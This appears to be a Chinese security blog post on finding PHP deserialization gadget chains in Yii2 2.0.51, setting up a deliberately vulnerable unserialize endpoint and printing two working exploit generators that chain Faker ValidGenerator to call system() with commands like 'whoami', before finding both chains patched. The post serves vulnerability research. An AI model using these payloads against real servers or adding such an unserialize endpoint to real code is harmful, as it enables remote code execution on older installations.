环境搭建

 composer create-project yiisoft/yii2-app-basic yii2

安装后版本是2.0.51
phpstorm启动时Document rootweb目录

controllers/SiteController.php添加反序列化入口

public function actionUnserialize()
    {
        return unserialize(base64_decode(Yii::$app->request->get("data")));
    }

通过index.php/?r=site/unserialize访问

分析

发现这里也有之前Larvel中的ValidGenerator来触发__call()方法执行命令。

找一个__destruct()
vendor/yiisoft/yii2/db/BatchQueryResult.php

/**
     * Destructor.
     */
    public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

    /**
     * Resets the batch query.
     * This method will clean up the existing batch query so that a new batch query can be performed.
     */
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
        $this->trigger(self::EVENT_RESET);
    }

exp

<?php
namespace yii\db{
    use Faker\ValidGenerator;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($cmd)
        {
            $this->_dataReader = new ValidGenerator($cmd);
        }
    }
    echo urlencode(serialize(new BatchQueryResult("whoami")));
}

namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($cmd)
        {
            $this->default = $cmd;
        }
    }
    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($cmd){
            $this->generator=new DefaultGenerator($cmd);
            $this->maxRetries=9;
            $this->validator='system';
        }
    }
}
?>

但是别高兴太早😥

发现这里已经被修复了

/**
     * Unserialization is disabled to prevent remote code execution in case application
     * calls unserialize() on user input containing specially crafted string.
     * @see https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15148
     * @since 2.0.38
     */
    public function __wakeup()
    {
        throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
    }

看看发现SmtpTransport也是使用wakeup修复了。好多地方都是😟

找找其他的__destruct()

vendor/codeception/codeception/ext/RunProcess.php

<?php
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($cmd)
        {
            $this->default = $cmd;
        }
    }
    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($cmd){
            $this->generator=new DefaultGenerator($cmd);
            $this->maxRetries=9;
            $this->validator='system';
        }
    }
}

namespace Codeception\Extension{
    use Faker\ValidGenerator;
    class RunProcess{
        private $processes = [] ;
        function __construct($cmd)
        {
            $this->processes[] = new ValidGenerator($cmd);
        }
    }
    echo(base64_encode(serialize(new RunProcess('ls /'))));
}

这里也是被修复了

/**
     * Disable the deserialization of the class to prevent attacker executing
     * code by leveraging the __destruct method.
     *
     * @see https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
     */
    public function __wakeup()
    {
        throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
    }

入口点基本全被过滤了🤷‍♂

看看其他入口__wakeup类型,有一个利用UnicodeString::__wakeup作为入口的链

发现这里也是被过滤了

    public function __wakeup()
    {
        if (!\is_string($this->string)) {
            throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);
        }

        normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
    }

太狠了,Yii2修链修这么多,感觉已经无敌了现在,等以后看引入新的依赖吧😭

参考文章

https://xz.aliyun.com/t/9420